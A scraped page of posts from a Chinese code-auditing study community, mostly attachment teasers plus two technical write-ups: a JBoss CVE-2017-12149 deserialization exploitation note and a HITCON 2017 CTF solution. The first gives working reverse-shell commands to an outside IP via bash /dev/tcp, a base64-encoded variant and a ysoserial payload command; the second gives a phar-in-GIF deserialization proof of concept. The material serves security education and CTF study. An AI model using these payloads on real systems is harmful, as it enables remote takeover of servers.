你尚未登录

未加入『代码审计』知识星球的用户只能查看少量内容,且不能下载附件。 加入『代码审计』知识星球即可查看所有内容。

2018 一月 05
#代码审计# 开新坑了,记录自己对《代码审计》的理解和总......
2018 一月 01
我的burpsuite workflow: 生成GET数据包:复制url -> 打开burp -> repeater -> 右键paste url as request 生成POST数据包:生......
2018 一月 01
跨年了,先恭祝大家新年快乐! #奇技淫巧# 说一下前几天提到的“上传后删除”的问题。老生常谈了,我估计大部分其实都知道也懒得回我,但考虑到圈子里还有很多新人,所以还是总结一下[捂脸] 代码如下......

图片


2017 十二月 03
#代码审计# 在这里学到不......

图片


2017 十二月 03
分享一......

附件


# 附件名 大小 时间 操作
parse_url.pdf 450.1 KB 12/03/2017
2017 十一月 27
JBoss CVE-2017-12149 这个反序列化漏洞,比较标准的readObject(),从原理上没什么好说的。利用方法是直接使用ysoserial生成POC,然后附在HTTP POST包里发送给目标的/invoker/readonly即可。 那我就来说个别的。 #奇技淫巧# 反序列化漏洞中通常使用Runtime.getRuntime().exec()来执行命令,但这个方法和PHP中的shell_exec有一个很大的不同:它执行命令不是使用bash来执行,而是启动这个命令本身。(这又让我想到Python中subprocess.run方法的shell参数,当shell=False的时候,效果也相同) 以bash来执行命令有一个很显著的特征,用Python 3.5来举个例子: import subprocess subprocess.check_output("curl -v example.com/?`whoami`", shell=True) subprocess.check_output(["curl", "-v", "example.com/?`whoami`"], shell=False) 如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。所以,我通过反引号即可执行自己的命令(whoami)。(图1) 如果shell=False的话,启动的是curl这个可执行程序本身,后面的参数不再支持shell语法,只是一个字符串而已。(图2) Java中的Runtime.getRuntime().exec()效果类似shell=False,而PHP中的shell_exec就类似于shell=True。 所以,有的同学在反序列化漏洞的利用中,执行的命令为 bash -i >& /dev/tcp/10.0.0.1/21 0>&1 ,显然是不会成功的。 那我们改进一下,用bash去执行这一串代码: bash -c "bash -i >& /dev/tcp/10.0.0.1/21 0>&1" 这样理论上就没有问题了,用bash执行这串代码,这里面的特殊符号也就有了实际意义。 但Runtime.getRuntime().exec()有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数。 所以上述代码被分割成了["bash", "-c", "\"bash", "-i", ">&", "/dev/tcp/10.0.0.1/21", "0>&1\""],破坏了命令原本的意思,所以也不行。 所以我们还需要来规避空格。规避空格的方法以前也说过很多,各种CTF里也出现过一些,我就不展开说了。 我们可以利用一个在线工具 java.lang.Runtime.exec() Payload Workarounds - @Ja... 来自动生成我们需要的命令。(图3) 比如上述反弹shell的命令被转换成了 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYxIA==}|{base64,-d}|{bash,-i} 没有空格。这个结果可以直接传给ysoserial来生成POC了: java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

图片


2017 十一月 21
分享个绕过全局过滤规则的审计过程,或许其他用到这个过滤规则的cms也存在同样的问题。

附件


# 附件名 大小 时间 操作
代码审计_多米(DuomiCms)全局过滤规则绕过.pdf 1.7 MB 11/21/2017
2017 十一月 17
分享下一个代码审计案例,主要是记录下审计的心历路程,期待和师傅们聊聊 打后台地址的各种骚姿势~

附件


# 附件名 大小 时间 操作
代码审计_APPCMS SQL-XSS-CSRF-SHELL.pdf 1.4 MB 11/17/2017
2017 十一月 14
感谢l3m0n师傅的示例,感谢师傅们和前辈们的总结和分析,让后来的人学习到了各 种教科书版的操作: ),果然在师傅们的各种熏陶下开始DayDayUp   : ! ),期待和各位师傅们的交流和讨论。

附件


# 附件名 大小 时间 操作
初探反序列化与POP CHAIN.pdf 409.1 KB 11/14/2017
2017 十一月 09
Hitcon 2017 《Baby^H Master PHP 2017》这题在比赛中并没有人能做出来,我当初看到题目以后以为是一道二进制相关的Web题,没想到并不是,还有学到了新姿势,我们来分析一下这道题的几个考点。 #奇技淫巧# 拿到源码( My-CTF-Web-Challenges/index.php at master · orange... )会发现,关键代码在Admin类的__destruct函数里,那么很容易想到通过反序列化能够构造出Admin对象,即可触发析构函数了。 源代码中的确存在一处反序列化,但在执行前会检查Cookie中的签名,如果要构造自己的反序列化字符串,必须构造这个字符串的哈希签名。哈希用到了hash_hmac,基本上没法绕过了,应该及时舍弃这个思路。 那么,还有没有其他地方可以触发反序列化操作呢? 这就是本题最大的考点:PHP在解析phar文件的Metadata的时候,可能会触发反序列化操作。这一点可以从官方文档看到(图1):PHP: Phar::getMetadata - Manual 再加上,phar默认会注册成一个协议 phar://,这样,在用phar://协议读取文件的时候会自动解析成phar对象,同时反序列化其中存储的Metadata信息。 所以,一个可控协议的文件读取的操作,将会触发反序列化操作(文件读取漏洞 => 反序列化漏洞)。到这里思路就比较明确了,我们通过upload函数(图2)可以写入任意文件,并再次通过upload函数读取之。 不过upload函数中检查了文件头是否是"GIF89a",这也好说,加上即可,因为phar在读取的时候这个头会被忽略掉。最后,编写如下POC: <?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>'; $p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); ?> 即可生成包含序列化的Admin对象的avatar.gif。 本题第二个考点,是考察匿名函数真正的名字。我们现在构造好了反序列化对象,已经可以进入__destruct方法了,这个方法中执行了 $_GET["lucky"](); 这很类似于我以前出过的一个题 安全箱子的秘密 | 离别歌 ,那个题目当时是调用了get_defined_functions(),找到了可以利用的函数。 但这道题,获取flag的函数是一个匿名函数:$FLAG = create_function("", 'die("flagflagflag");'); ,是通过create_function创建的,所以用get_defined_functions()没法获得其真实名字。 这就涉及到另一个知识:PHP中匿名函数其实是有名字的,名字是"\x00lambda_%d",这个%d是一个1开始的递增序列,表示这是当前进程中第%d个匿名函数。 所以,如果一个崭新的PHP进程,其第一的第1个匿名函数就是"\x00lambda_1",所以我只需要传入lucky=%00lambda_1即可。 但是实战中,因为有很多人做题,每个人访问一次网页,就会使%d加1,所以我们并不知道自己访问时的这个%d是多少。 这就涉及到第三个考点,我们通过大量请求,使目标Apache难以同时处理这么多请求,所以以Pre-fork模式启动的Apache会启动新进程来处理这个请求。那么,新进程下%d就是以1重新开始的,所以就可以预测了。

图片